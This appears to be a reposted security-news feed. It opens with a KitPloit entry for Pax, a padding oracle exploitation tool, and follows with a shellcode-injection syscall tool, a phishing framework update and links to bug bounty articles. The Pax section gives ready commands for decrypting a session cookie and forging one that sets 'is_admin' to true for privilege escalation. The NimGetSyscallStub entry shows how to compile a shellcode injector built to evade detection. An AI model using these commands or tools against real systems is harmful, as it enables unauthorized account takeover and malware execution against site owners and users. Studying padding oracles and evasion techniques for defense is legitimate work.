KitPloit - PenTest Tools!
Pax - CLI Tool For PKCS7 Padding Oracle Attacks

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrFn8cC3dRHnSjamghpU966o0y_1TMMLlitPNJ0UZ_CvJaUm9MvLzC2Gk2W4XTVjvRxrjrcAGJuoiP7cHoxzinGL5wX6EWA9YLExqPCyM-temNtzwlyvEKueBNsJrsCQTC-HCOkxVW4GfHJ3e5Sze7mWmh7EdvSQtUFeLYuJqFrRaiTRPA3R5lj4XivQ/w640-h426/pax.png
Exploit padding oracles for fun and profit!

Pax (PAdding oracle eXploiter) is a tool for exploiting padding oracles in order to:

1. Obtain plaintext for a given piece of CBC encrypted data.
2. Obtain encrypted bytes for a given piece of plaintext, using the unknown encryption algorithm used by the oracle.

This can be used to disclose encrypted session information, and often to bypass authentication, elevate privileges and to execute code remotely by encrypting custom plaintext and writing it back to the server.

As always, this tool should only be used on systems you own and/or have permission to probe!
Installation

Download from releases, or install with Go:

go get -u github.com/liamg/pax/cmd/pax

Example Usage

If you find a suspected oracle, where the encrypted data is stored inside a cookie named SESS, you can use the following:

pax decrypt --url https://target.site/profile.php --sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D --block-size 16 --cookies "SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D"

This will hopefully give you some plaintext, perhaps something like:

{"user_id": 456, "is_admin": false}

It looks like you could elevate your privileges here!

You can attempt to do so by first generating your own encrypted data that the oracle will decrypt back to some sneaky plaintext:

pax encrypt --url https://target.site/profile.php --sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D --block-size 16 --cookies "SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D" --plain-text '{"user_id": 456, "is_admin": true}'

This will spit out another base64 encoded set of encrypted data, perhaps something like:

dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=


Now you can open your browser and set the value of the SESScookie to the above value. Loading the original oracle page, you should now see you are elevated to admin level.

How does this work?

The following are great guides on how this attack works:

* https://robertheaton.com/2013/07/29/padding-oracle-attack/
* https://blog.skullsecurity.org/2013/padding-oracle-attacks-in-depth
Download Pax

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
10 Myths About Hacking

https://cdn-images-1.medium.com/max/1920/1*8OJm1AAS2RLwQLVsLFxBBw.jpeg
Fact vs Fiction: The Truth About Hackers

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Uber’s PC network has been hacked.

https://cdn-images-1.medium.com/max/600/0*JyTzjsAkY7V4CDcl
The ride-hailing organization said it was examining after a few inner interchanges and designing frameworks had been compromised.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
NimGetSyscallStub : Get Fresh Syscalls From A Fresh Ntdll.Dll Copy

NimGetSyscallStub, Get fresh Syscalls from a fresh ntdll.dll copy. This code can be used as an alternative to the already published awesome tools NimlineWhispers and NimlineWhispers2 by @ajpc500 or ParallelNimcalls.

The advantage of grabbing Syscalls dynamically is, that the signature of the Stubs is not included in the file and you don’t have to worry about changing Windows versions.

To compile the shellcode execution template run the following:

nim c -d:release ShellcodeInject.nim

The result should look like this:
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibyyAdveXN0xwda6tJ_lFey0NkxbDBFF4w7Pklb02RF__MwovTPKjh4V41sAmOZC3BRyrRRvYYQ-dTdX2C9Fe0uqywPRczqhgss6HQLL3IuQoWtGIYTTklv9bdzsyUWKekVI0QTCF0p9Wk7z-ej_mjp9Ozv7Ag_YB1n4ISVLdRNLVPeDj1gImtISun/s687/PoC.png

Download

___________________________
@hacking_Attack
@Hacking_Video

OWASP Top-10 [2021] for Bug Bounty Hunters (Day-5)
https://medium.com/@skselim/owasp-top-10-2021-for-bug-bounty-hunters-day-5-319b4f393652?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello geeks, it’s Selim back here with another interesting article.Continue reading on Medium » (https://medium.com/@skselim/owasp-top-10-2021-for-bug-bounty-hunters-day-5-319b4f393652?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

SSRF IN-DEPTH…
https://medium.com/@deepparasiya54/ssrf-in-depth-b597b24956b8?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello mates, welcome back to my another blog.Continue reading on Medium » (https://medium.com/@deepparasiya54/ssrf-in-depth-b597b24956b8?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Bug Bounty | Detailed definition of Bug Bounty by CyberHacks
https://kd-200.medium.com/bug-bounty-detailed-definition-of-bug-bounty-by-cyberhacks-5fa990e8fa2d?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

If you’re looking to have a rewarding job, with the ability to work in an exciting industry.Continue reading on Medium » (https://kd-200.medium.com/bug-bounty-detailed-definition-of-bug-bounty-by-cyberhacks-5fa990e8fa2d?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Pentesters - What where the best and worst Pentests you’ve done to date and why?
https://www.reddit.com/r/Pentesting/comments/xms3s3/pentesters_what_where_the_best_and_worst_pentests/

submitted by /u/TAORoute (https://www.reddit.com/user/TAORoute)
[link] (https://www.reddit.com/r/cybersecurity/comments/xkcte1/pentesters_what_where_the_best_and_worst_pentests/) [comments] (https://www.reddit.com/r/Pentesting/comments/xms3s3/pentesters_what_where_the_best_and_worst_pentests/)

___________________________
@hacking_Attack
@Hacking_Video

OWASP Top-10 [2021] for Bug Bounty Hunters (Day-5)

Hello geeks, it’s Selim back here with another interesting article.Continue reading on Medium »
Read more...

SSRF IN-DEPTH…

Hello mates, welcome back to my another blog.Continue reading on Medium »
Read more...

Bug Bounty | Detailed definition of Bug Bounty by CyberHacks

If you’re looking to have a rewarding job, with the ability to work in an exciting industry.Continue reading on Medium »
Read more...

evilgophish Now Supports SMS Smishing Campaigns
https://www.reddit.com/r/redteamsec/comments/xmwo9x/evilgophish_now_supports_sms_smishing_campaigns/

Up until now, there was no open-source phishing framework that supports SMS campaigns by default. submitted by /u/edreatingmonkey (https://www.reddit.com/user/edreatingmonkey)
[link] (https://github.com/fin3ss3g0d/evilgophish/commit/d6cb733ffb3517e5f8a14ed1e7c621fb35bac5a5) [comments] (https://www.reddit.com/r/redteamsec/comments/xmwo9x/evilgophish_now_supports_sms_smishing_campaigns/)

___________________________
@hacking_Attack
@Hacking_Video